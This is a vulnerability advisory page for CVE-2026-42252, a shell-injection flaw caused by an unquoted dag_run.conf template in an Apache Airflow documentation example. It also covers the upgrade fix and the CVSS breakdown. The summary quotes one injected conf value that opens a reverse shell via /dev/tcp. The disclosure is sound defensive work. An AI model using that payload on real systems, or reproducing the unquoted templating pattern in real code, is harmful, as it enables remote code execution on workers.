Loading...
Skip to main content

CVE-2026-42252 — Vulnerability in apache-airflow — CVE Details

CRITICAL

Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine

Published June 1, 2026Updated July 9, 2026Source: osv

Summary

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Advisory Timeline

  • First published June 1, 2026 (133 days ago).
  • Last revised July 9, 2026 — 38 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update apache-airflow to 3.2.2 or later
pip install "apache-airflow>=3.2.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
apache-airflow
pypi
3.0.0, 3.0.1, 3.0.1rc1, 3.0.2 (+57 more)3.2.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-42252?
Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-42252?
CVE-2026-42252 affects apache-airflow. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42252 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-c85c-g9wv-pph2
BIT-airflow-2026-42252
PYSEC-2026-184

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies